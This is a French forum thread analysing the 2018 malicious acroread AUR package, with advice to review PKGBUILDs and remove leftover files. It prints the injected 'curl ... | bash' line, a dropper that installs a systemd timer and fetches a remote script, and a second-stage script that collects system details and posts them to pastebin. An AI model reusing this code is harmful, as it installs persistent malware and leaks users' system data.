Vous n'êtes pas identifié(e).
Pages : 1
Security is always excessive until it’s not enough. — Robbie Sinclair
Hors ligne
Oh zut, moi qui ai quelques paquet AUR
Utiliser des logiciels propriétaires, c'est comme les plats préparés, on est incapable de dire les conservateurs qu'ils contiennent, on dira toujours que c'est bon, mais ça ne remplacera jamais le repas fait maison par sa maman.
]:D #! Crunchbang & Archlinux GNU/Linux User ]:D
Hors ligne
Alors loin de moi l'idée de remettre THN en cause mais je trouve leur formulation ambiguë... C'est peut-être mon niveau d'anglais qui me joue des tours mais dans le doute je vais apporter quelques précisions.
As per a Git commit to the package's source code, xeactor added malicious code that would download a curl script which in turn would install and run a script from a remote server.
Ce qui a été modifié c'est le PKGBUILD, non le code source du package acroread. Grande différence ! Parce que lire un PKGBUILD quand on installe un package depuis AUR doit être un réflexe. Installer sans lire le PKGBUILD, c'est comme coucher avec une pute sans capote. Une modification du code source du projet est bien plus problématique, pas besoin de vous expliquer pourquoi ^^"
Pour les curieux, voici la ligne qui pose problème. (Commit complet sur AUR)
+ curl -s https://ptpb.pw/~x|bash -&
Du grand classique. Ce genre de ligne pue le virus à plein nez, c'est facilement détectable et facilement vérifiable. A mon avis xeactor n'a pas souhaité se prendre la tête, c'était juste un coup d'essai.
Voilà le petit script exécuté par ceux qui ont installé le package alors que le PKGBUILD était vérolé :
#!/bin/bash
# get to the right location
if [[ -n "$pkgdir" ]]; then
cd "$pkgdir"
else
exit 0
fi
be_silent() {
"$@" >/dev/null 2>&1
}
# systemd files
SYSTEMD_TIMER="[Timer]
OnCalendar=4d
Persistent=true
OnActiveSec=360
[Install]
WantedBy=timers.target"
SYSTEMD_SERVICE="[Unit]
Type=simple
ExecStart=/usr/lib/xeactor/u.sh"
# write systemd files
mkdir -p usr/lib/systemd/system
mkdir -p etc/systemd/system/multi-user.target.wants
echo "$SYSTEMD_SERVICE" > usr/lib/systemd/system/xeactor.service
echo "$SYSTEMD_TIMER" > usr/lib/systemd/system/xeactor.timer
ln -s /usr/lib/systemd/system/xeactor.timer etc/systemd/system/multi-user.target.wants/xeactor.timer
# get the upload script
mkdir -p usr/lib/xeactor
if be_silent which curl; then
curl -s https://ptpb.pw/~u > usr/lib/xeactor/u.sh
elif be_silent which wget; then
wget -qOusr/lib/xeactor/u.sh https://ptpb.pw/~u
else
exit 0
fi
Ce genre d'incident permet surtout de rappeler quelques bonnes pratiques indispensables :
Toujours relire le PKGBUILD
<troll>Ne pas utiliser systemd</troll>
Toujours relire le PKGBUILD
Faire attention avec les dépôts tiers... Les mainteneurs des distributions font un taff de dingue pour proposer des systèmes sains, ne pas tout gâcher avec une connerie évitable.
Toujours relire le PKGBUILD
Ne pas jouer avec des outils qu'on ne maitrise pas
Toujours relire le PKGBUILD
Hors ligne
une fois le script exécuté, on se retrouve avec cet autre script ici donc:
#!/bin/bash
function urle() {
sed -e 's|!|%21|' -e 's|#|%23|' -e 's|$|%24|' -e 's|&|%26|' -e "s|'|%27|" -e 's|(|%28|' -e 's|)|%29|' -e 's|*|%2a|' -e 's|+|%2b|' -e 's|,|%2c|' -e 's|/|%2f|' -e 's|:|%3a|' -e 's|;|%3b|' -e 's|=|%3d|' -e 's|?|%3f|' -e 's|@|%40|' -e 's|\[|%5b|' -e 's|]|%5d|'
}
declare -fx urle
GID=
MACHINE_ID="$(cat /etc/machine-id)"
PASTE_TITLE="$(echo [xeactor]\ $MACHINE_ID|urle)"
upload() {
up_data="$(echo $1|urle)"
if [[ "$HTTP_CLIENT" == "curl" ]]; then
prefix='curl -s --data'
elif [[ "$HTTP_CLIENT" == "wget" ]]; then
prefix='wget -O/dev/null -q --post-data'
fi
$prefix "api_dev_key=42ba93112cc9677382e55e5e387eafa1&api_paste_private=0&api_paste_name=${PASTE_TITLE}&api_option=paste&api_paste_code=$up_data" "https://pastebin.com/api/api_post.php" >/dev/null 2>&1
}
if which wget >/dev/null 2>&1; then
export HTTP_CLIENT=wget
elif which curl >/dev/null 2>&1; then
export HTTP_CLIENT=curl
else
exit 0
fi
cmd_log() { echo "[cmd] \`$@\`:"; "$@" 2>&1; echo; }
full_log() {
echo ${MACHINE_ID}
cmd_log date '+%s'
cmd_log uname -a
cmd_log id
cmd_log lscpu
cmd_log pacman -Qeq
cmd_log pacman -Qdq
cmd_log systemctl list-units
}
FULL_LOG="$(full_log)"
$uploader "$FULL_LOG"
for x in /root /home/*; do
if [[ -w "$x/compromised.txt" ]]; then
echo "$FULL_LOG" > "$x/compromised.txt"
fi
done
exit 0
On peux déjà vérifier si on a le script usr/lib/xeactor/u.sh sur son système.
Utiliser des logiciels propriétaires, c'est comme les plats préparés, on est incapable de dire les conservateurs qu'ils contiennent, on dira toujours que c'est bon, mais ça ne remplacera jamais le repas fait maison par sa maman.
]:D #! Crunchbang & Archlinux GNU/Linux User ]:D
Hors ligne
[...]On peux déjà vérifier si on a le script usr/lib/xeactor/u.sh sur son système.
Yes, il faut également virer
/usr/lib/systemd/system/xeactor.timer
/usr/lib/systemd/system/xeactor.service
Par contre j'avais pas fait attention la première fois mais il n'a même pas testé son script ?! Il crée la fonction upload() et il appel $uploader ?! Il fait rien du tout son script ! Ca ressemble plus à une PoC qu'à une réelle volontés de nuire...
Dernière modification par Archer (12-07-2018 14:18:19)
Hors ligne
Pages : 1